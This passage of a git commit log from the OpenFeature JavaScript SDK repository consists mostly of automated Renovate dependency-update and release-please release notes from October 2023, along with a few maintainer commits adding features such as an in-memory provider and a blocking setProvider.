[`v8.9.0`](https://togithub.com/prettier/eslint-config-prettier/blob/HEAD/CHANGELOG.md#Version-890-2023-07-27)

[Compare
Source](https://togithub.com/prettier/eslint-config-prettier/compare/v8.8.0...v8.9.0)

- Added: \[vue/array-element-newline]. Thanks to
[@&#8203;xcatliu](https://togithub.com/xcatliu)!

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNi44My4wIiwidXBkYXRlZEluVmVyIjoiMzYuODMuMCIsInRhcmdldEJyYW5jaCI6Im1haW4ifQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-10-23 19:49:52 +00:00
renovate[bot] 46cdb50945
chore(deps): update dependency @types/jest to v29.5.6 (#571)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@types/jest](https://togithub.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/jest)
([source](https://togithub.com/DefinitelyTyped/DefinitelyTyped)) |
[`29.5.4` ->
`29.5.6`](https://renovatebot.com/diffs/npm/@types%2fjest/29.5.4/29.5.6)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fjest/29.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fjest/29.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fjest/29.5.4/29.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fjest/29.5.4/29.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNi45Ny4xIiwidXBkYXRlZEluVmVyIjoiMzcuMTkuMiIsInRhcmdldEJyYW5jaCI6Im1haW4ifQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-10-23 19:46:52 +00:00
Michael Beemer 5b85706fda
ci: update repo to support merge queues (#605)
## This PR

- add merge queue trigger to pr check action
- add dco merge queue workaround

### Follow-up Tasks
`q
Enable merge queues in the repo.


https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-a-merge-queue

Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>

---------

Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2023-10-23 19:12:32 +00:00
renovate[bot] 602ce11a0f
chore(deps): update dependency @rollup/plugin-typescript to v11.1.5 (#580)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@rollup/plugin-typescript](https://togithub.com/rollup/plugins/tree/master/packages/typescript/#readme)
([source](https://togithub.com/rollup/plugins)) | [`11.1.3` ->
`11.1.5`](https://renovatebot.com/diffs/npm/@rollup%2fplugin-typescript/11.1.3/11.1.5)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@rollup%2fplugin-typescript/11.1.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@rollup%2fplugin-typescript/11.1.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@rollup%2fplugin-typescript/11.1.3/11.1.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@rollup%2fplugin-typescript/11.1.3/11.1.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>rollup/plugins (@&#8203;rollup/plugin-typescript)</summary>

###
[`v11.1.5`](https://togithub.com/rollup/plugins/blob/HEAD/packages/typescript/CHANGELOG.md#v1115)

[Compare
Source](6caf7130c2...841a0391c1)

*2023-10-05*

##### Bugfixes

- fix: ensure rollup 4 compatibility
[#&#8203;1595](https://togithub.com/rollup/plugins/pull/1595)

###
[`v11.1.4`](https://togithub.com/rollup/plugins/blob/HEAD/packages/typescript/CHANGELOG.md#v1114)

[Compare
Source](435e4a175f...6caf7130c2)

*2023-09-25*

##### Bugfixes

- fix: fix sourcemap sourcecontent referencing non-existent files
[#&#8203;1571](https://togithub.com/rollup/plugins/pull/1571)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy44LjEiLCJ1cGRhdGVkSW5WZXIiOiIzNy44LjEiLCJ0YXJnZXRCcmFuY2giOiJtYWluIn0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-10-19 19:32:49 +00:00
renovate[bot] ba94d0300c
chore(deps): update dependency eslint to v8.51.0 (#601)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [eslint](https://eslint.org)
([source](https://togithub.com/eslint/eslint)) | [`8.49.0` ->
`8.51.0`](https://renovatebot.com/diffs/npm/eslint/8.49.0/8.51.0) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/eslint/8.51.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/eslint/8.51.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/eslint/8.49.0/8.51.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint/8.49.0/8.51.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>eslint/eslint (eslint)</summary>

### [`v8.51.0`](https://togithub.com/eslint/eslint/releases/tag/v8.51.0)

[Compare
Source](https://togithub.com/eslint/eslint/compare/v8.50.0...v8.51.0)

#### Features

-
[`0a9c433`](0a9c43339a)
feat: Add `--no-warn-ignored` CLI option for flat config
([#&#8203;17569](https://togithub.com/eslint/eslint/issues/17569))
(Domantas Petrauskas)
-
[`977e67e`](977e67ec27)
feat: logical-assignment-operators to report expressions with 3 operands
([#&#8203;17600](https://togithub.com/eslint/eslint/issues/17600))
(Yosuke Ota)

#### Bug Fixes

-
[`f976b2f`](f976b2f7bf)
fix: make rule severity case-sensitive in flat config
([#&#8203;17619](https://togithub.com/eslint/eslint/issues/17619))
(Milos Djermanovic)
-
[`0edfe36`](0edfe369aa)
fix: Ensure crash error messages are not duplicated
([#&#8203;17584](https://togithub.com/eslint/eslint/issues/17584))
(Nicholas C. Zakas)
-
[`dd79abc`](dd79abc0c1)
fix: `eslint-disable` to be able to parse quoted rule names
([#&#8203;17612](https://togithub.com/eslint/eslint/issues/17612))
(Yosuke Ota)
-
[`d2f6801`](d2f68019b8)
fix: Ensure correct code path for && followed by ??
([#&#8203;17618](https://togithub.com/eslint/eslint/issues/17618))
(Nicholas C. Zakas)

#### Documentation

-
[`ee5be81`](ee5be81fa3)
docs: default to `sourceType: "module"` in rule examples
([#&#8203;17615](https://togithub.com/eslint/eslint/issues/17615))
(Francesco Trotta)
-
[`1aa26df`](1aa26df9fb)
docs: Add more examples for multiline-ternary
([#&#8203;17610](https://togithub.com/eslint/eslint/issues/17610))
(George Ashiotis)
-
[`47d0b44`](47d0b44696)
docs: Update README (GitHub Actions Bot)
-
[`dbf831e`](dbf831e31f)
docs: use generated og image
([#&#8203;17601](https://togithub.com/eslint/eslint/issues/17601))
(Percy Ma)
-
[`1866da5`](1866da5e1d)
docs: Update README (GitHub Actions Bot)

#### Chores

-
[`1ef39ea`](1ef39ea5b8)
chore: upgrade
[@&#8203;eslint/js](https://togithub.com/eslint/js)[@&#8203;8](https://togithub.com/8).51.0
([#&#8203;17624](https://togithub.com/eslint/eslint/issues/17624))
(Milos Djermanovic)
-
[`f8c7403`](f8c7403255)
chore: package.json update for
[@&#8203;eslint/js](https://togithub.com/eslint/js) release (ESLint
Jenkins)
-
[`2665552`](2665552ba0)
test: fix flat config linter tests to use Linter in flat config mode
([#&#8203;17616](https://togithub.com/eslint/eslint/issues/17616))
(Milos Djermanovic)
-
[`7b77bcc`](7b77bccbb5)
chore: Refactor CodePathState
([#&#8203;17510](https://togithub.com/eslint/eslint/issues/17510))
(Nicholas C. Zakas)
-
[`bc77c9a`](bc77c9af12)
chore: Document and refactor ForkContext
([#&#8203;17566](https://togithub.com/eslint/eslint/issues/17566))
(Nicholas C. Zakas)
-
[`24e1f14`](24e1f140ec)
chore: Refactor and document CodePath
([#&#8203;17558](https://togithub.com/eslint/eslint/issues/17558))
(Nicholas C. Zakas)

### [`v8.50.0`](https://togithub.com/eslint/eslint/releases/tag/v8.50.0)

[Compare
Source](https://togithub.com/eslint/eslint/compare/v8.49.0...v8.50.0)

#### Features

-
[`27d5a9e`](27d5a9e57a)
feat: add suggestions to array-callback-return
([#&#8203;17590](https://togithub.com/eslint/eslint/issues/17590))
(Tanuj Kanti)
-
[`f9082ff`](f9082ff3f3)
feat: flat-rule-tester make sure default config always matches
([#&#8203;17585](https://togithub.com/eslint/eslint/issues/17585)) (fnx)
-
[`83914ad`](83914adbfd)
feat: Implement SourceCode#applyInlineConfig()
([#&#8203;17351](https://togithub.com/eslint/eslint/issues/17351))
(Nicholas C. Zakas)
-
[`22a5582`](22a558228f)
feat: add rule `no-object-constructor`, deprecate `no-new-object`
([#&#8203;17576](https://togithub.com/eslint/eslint/issues/17576))
(Francesco Trotta)
-
[`85a3d9e`](85a3d9e967)
feat: allowVoid option in array-callback-return
([#&#8203;17564](https://togithub.com/eslint/eslint/issues/17564))
(Tanuj Kanti)

#### Bug Fixes

-
[`cc4d26b`](cc4d26b5a5)
fix: Ensure deprecated context.parserServices warns
([#&#8203;17593](https://togithub.com/eslint/eslint/issues/17593))
(Nicholas C. Zakas)
-
[`1ea4cfb`](1ea4cfb585)
fix: Ensure all RuleTester tests all deprecated context methods
([#&#8203;17587](https://togithub.com/eslint/eslint/issues/17587))
(Nicholas C. Zakas)
-
[`aa1b657`](aa1b657a9f)
fix: wrong suggestion and message in `no-misleading-character-class`
([#&#8203;17571](https://togithub.com/eslint/eslint/issues/17571))
(Yosuke Ota)

#### Documentation

-
[`1800537`](180053759c)
docs: Fix and standardize JSX code examples
([#&#8203;17591](https://togithub.com/eslint/eslint/issues/17591))
(Francesco Trotta)
-
[`48a44a7`](48a44a73ac)
docs: Add correct/incorrect tags to `prefer-arrow-callback`
([#&#8203;17589](https://togithub.com/eslint/eslint/issues/17589))
(Francesco Trotta)
-
[`20893d4`](20893d48b9)
docs: fix incorrect tag's place
([#&#8203;17575](https://togithub.com/eslint/eslint/issues/17575))
(Tanuj Kanti)
-
[`bd7a71f`](bd7a71fd6b)
docs: Update README (GitHub Actions Bot)

#### Chores

-
[`f8a8a2d`](f8a8a2d6b4)
chore: upgrade
[@&#8203;eslint/js](https://togithub.com/eslint/js)[@&#8203;8](https://togithub.com/8).50.0
([#&#8203;17599](https://togithub.com/eslint/eslint/issues/17599))
(Milos Djermanovic)
-
[`38ada6d`](38ada6df8f)
chore: package.json update for
[@&#8203;eslint/js](https://togithub.com/eslint/js) release (ESLint
Jenkins)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy44LjEiLCJ1cGRhdGVkSW5WZXIiOiIzNy44LjEiLCJ0YXJnZXRCcmFuY2giOiJtYWluIn0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-10-19 19:29:47 +00:00
renovate[bot] aa46c20ebe
chore(deps): update dependency @types/node to v18.18.6 (#583)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@types/node](https://togithub.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node)
([source](https://togithub.com/DefinitelyTyped/DefinitelyTyped)) |
[`18.17.15` ->
`18.18.6`](https://renovatebot.com/diffs/npm/@types%2fnode/18.17.15/18.18.6)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fnode/18.18.6?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fnode/18.18.6?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fnode/18.17.15/18.18.6?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fnode/18.17.15/18.18.6?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy44LjEiLCJ1cGRhdGVkSW5WZXIiOiIzNy4xOS4yIiwidGFyZ2V0QnJhbmNoIjoibWFpbiJ9-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-10-19 15:29:15 -04:00
renovate[bot] 801d7e09c0
chore(deps): update dependency @types/events to v3.0.1 (#581)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@types/events](https://togithub.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/events)
([source](https://togithub.com/DefinitelyTyped/DefinitelyTyped)) |
[`3.0.0` ->
`3.0.1`](https://renovatebot.com/diffs/npm/@types%2fevents/3.0.0/3.0.1)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fevents/3.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fevents/3.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fevents/3.0.0/3.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fevents/3.0.0/3.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy44LjEiLCJ1cGRhdGVkSW5WZXIiOiIzNy44LjEiLCJ0YXJnZXRCcmFuY2giOiJtYWluIn0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-10-13 14:22:05 +00:00
renovate[bot] 8129020556
chore(deps): update actions/checkout action to v4 (#567)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [actions/checkout](https://togithub.com/actions/checkout) | action |
major | `v3` -> `v4` |

---

### Release Notes

<details>
<summary>actions/checkout (actions/checkout)</summary>

###
[`v4`](https://togithub.com/actions/checkout/blob/HEAD/CHANGELOG.md#v400)

[Compare Source](https://togithub.com/actions/checkout/compare/v3...v4)

- [Support fetching without the --progress
option](https://togithub.com/actions/checkout/pull/1067)
-   [Update to node20](https://togithub.com/actions/checkout/pull/1436)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNi44My4wIiwidXBkYXRlZEluVmVyIjoiMzYuODMuMCIsInRhcmdldEJyYW5jaCI6Im1haW4ifQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-10-13 10:19:07 -04:00
Michael Beemer a3a907f348
feat: add support for clearing providers (#578)
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2023-10-13 10:18:31 -04:00
Michael Beemer 645406b85f
docs: update server api reference url in readme
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2023-10-11 16:46:26 -04:00
github-actions[bot] cb80161891
chore(main): release server-sdk 1.6.3 (#596)
🤖 I have created a release *beep* *boop*
---


##
[1.6.3](https://github.com/open-feature/js-sdk/compare/server-sdk-v1.6.2...server-sdk-v1.6.3)
(2023-10-11)


### Bug Fixes

* package in readme installs/examples
([#595](https://github.com/open-feature/js-sdk/issues/595))
([3a15cb2](3a15cb21dc))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2023-10-11 16:03:08 -04:00
Todd Baert 3a15cb21dc
fix: package in readme installs/examples (#595)
see title

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2023-10-11 16:02:01 -04:00
github-actions[bot] 9ece74c1c0
chore(main): release server-sdk 1.6.2 (#594)
🤖 I have created a release *beep* *boop*
---


##
[1.6.2](https://github.com/open-feature/js-sdk/compare/server-sdk-v1.6.1...server-sdk-v1.6.2)
(2023-10-11)


### Renamed Package

* publish as @openfeature/server-sdk
([#593](https://github.com/open-feature/js-sdk/issues/593))
([1fdebc4](1fdebc4777))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2023-10-11 14:56:56 -04:00
Todd Baert 1fdebc4777
fix: publish as @openfeature/server-sdk (#593)
Publishing under new name, with updated bootstrap SHA. Not a real fix,
will correct that in release notes.

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2023-10-11 14:50:35 -04:00
github-actions[bot] 64eadd1b61
chore(main): release js-sdk 1.6.1 (#592)
🤖 I have created a release *beep* *boop*
---


##
[1.6.1](https://github.com/open-feature/js-sdk/compare/js-sdk-v1.6.0...js-sdk-v1.6.1)
(2023-10-11)


### Deprecation Notice

* rename, deprecate js-sdk
([#589](https://github.com/open-feature/js-sdk/issues/589))
([a361393](a361393421))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2023-10-11 14:37:09 -04:00
Todd Baert a361393421
fix: rename, deprecate js-sdk (#589)
This is the first step in https://github.com/open-feature/js-sdk/issues/575.

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2023-10-11 14:27:55 -04:00
github-actions[bot] 5673362126
chore(main): release js-sdk 1.6.0 (#587)
🤖 I have created a release *beep* *boop*
---


##
[1.6.0](https://github.com/open-feature/js-sdk/compare/js-sdk-v1.5.0...js-sdk-v1.6.0)
(2023-10-11)


### Features

* **server:** add in memory provider
([#585](https://github.com/open-feature/js-sdk/issues/585))
([5e044ef](5e044efc6d))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2023-10-11 10:20:11 -04:00
Luiz Guilherme Ribeiro 5e044efc6d
feat(server): add in memory provider (#585)
## This PR

Implements the following features for `inMemoryProvider`:
- default value for flags
- reason for flag evaluation
- Context based evaluation

### Related Issues

It's part of #565 


---------

Signed-off-by: Luiz Ribeiro <ltrindaderibeiro@gmail.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2023-10-11 10:06:21 -04:00
github-actions[bot] 2b4dbec62c
chore(main): release web-sdk 0.4.1 (#559)
🤖 I have created a release *beep* *boop*
---


##
[0.4.1](https://github.com/open-feature/js-sdk/compare/web-sdk-v0.4.0...web-sdk-v0.4.1)
(2023-10-09)


### Features

* add provider compatibility check
([#537](https://github.com/open-feature/js-sdk/issues/537))
([2bc5d63](2bc5d63266))
* add support for a blocking setProvider
([#577](https://github.com/open-feature/js-sdk/issues/577))
([d1f5049](d1f5049065))
* STALE state, minor event changes
([#541](https://github.com/open-feature/js-sdk/issues/541))
([0b5355b](0b5355b3cf))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2023-10-09 16:46:18 -04:00
github-actions[bot] 487329273a
chore(main): release js-sdk 1.5.0 (#560)
🤖 I have created a release *beep* *boop*
---


##
[1.5.0](https://github.com/open-feature/js-sdk/compare/js-sdk-v1.4.2...js-sdk-v1.5.0)
(2023-10-09)


### Features

* add provider compatibility check
([#537](https://github.com/open-feature/js-sdk/issues/537))
([2bc5d63](2bc5d63266))
* add support for a blocking setProvider
([#577](https://github.com/open-feature/js-sdk/issues/577))
([d1f5049](d1f5049065))
* STALE state, minor event changes
([#541](https://github.com/open-feature/js-sdk/issues/541))
([0b5355b](0b5355b3cf))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2023-10-09 16:34:27 -04:00
github-actions[bot] adc6ccc3cb
chore(main): release shared 0.0.12 (#584)
🤖 I have created a release *beep* *boop*
---


##
[0.0.12](https://github.com/open-feature/js-sdk/compare/shared-v0.0.11...shared-v0.0.12)
(2023-10-09)


### Features

* add support for a blocking setProvider
([#577](https://github.com/open-feature/js-sdk/issues/577))
([d1f5049](d1f5049065))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2023-10-09 16:30:06 -04:00
Michael Beemer d1f5049065
feat: add support for a blocking setProvider (#577)
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2023-10-09 16:21:01 -04:00
renovate[bot] 9dd2d38ba1
chore(deps): update dependency eslint-plugin-check-file to v2.6.2 (#557)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[eslint-plugin-check-file](https://togithub.com/DukeLuo/eslint-plugin-check-file)
| [`2.5.0` ->
`2.6.2`](https://renovatebot.com/diffs/npm/eslint-plugin-check-file/2.5.0/2.6.2)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/eslint-plugin-check-file/2.6.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/eslint-plugin-check-file/2.6.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/eslint-plugin-check-file/2.5.0/2.6.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint-plugin-check-file/2.5.0/2.6.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>DukeLuo/eslint-plugin-check-file
(eslint-plugin-check-file)</summary>

###
[`v2.6.2`](https://togithub.com/DukeLuo/eslint-plugin-check-file/blob/HEAD/CHANGELOG.md#262---2023-08-13)

[Compare
Source](https://togithub.com/DukeLuo/eslint-plugin-check-file/compare/v2.6.1...v2.6.2)

##### Fixed

- the naming convention `NEXT_JS_APP_ROUTER_CASE` can support Next.js
Private Folders

###
[`v2.6.1`](https://togithub.com/DukeLuo/eslint-plugin-check-file/blob/HEAD/CHANGELOG.md#261---2023-07-30)

[Compare
Source](https://togithub.com/DukeLuo/eslint-plugin-check-file/compare/v2.6.0...v2.6.1)

##### Fixed

-   fix bundle mistake in v2.6.0

###
[`v2.6.0`](https://togithub.com/DukeLuo/eslint-plugin-check-file/blob/HEAD/CHANGELOG.md#260---2023-07-30)

[Compare
Source](https://togithub.com/DukeLuo/eslint-plugin-check-file/compare/v2.5.0...v2.6.0)

##### Added

-   added ES Module support

##### Deprecated

-   deprecated Node.js 14 support

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNi42OC4xIiwidXBkYXRlZEluVmVyIjoiMzYuNjguMSIsInRhcmdldEJyYW5jaCI6Im1haW4ifQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-10-09 14:37:13 -04:00
renovate[bot] d4d4fabd44
chore(deps): update dependency rollup to v3.29.4 (#564)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [rollup](https://rollupjs.org/)
([source](https://togithub.com/rollup/rollup)) | [`3.28.1` ->
`3.29.4`](https://renovatebot.com/diffs/npm/rollup/3.28.1/3.29.4) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/rollup/3.29.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
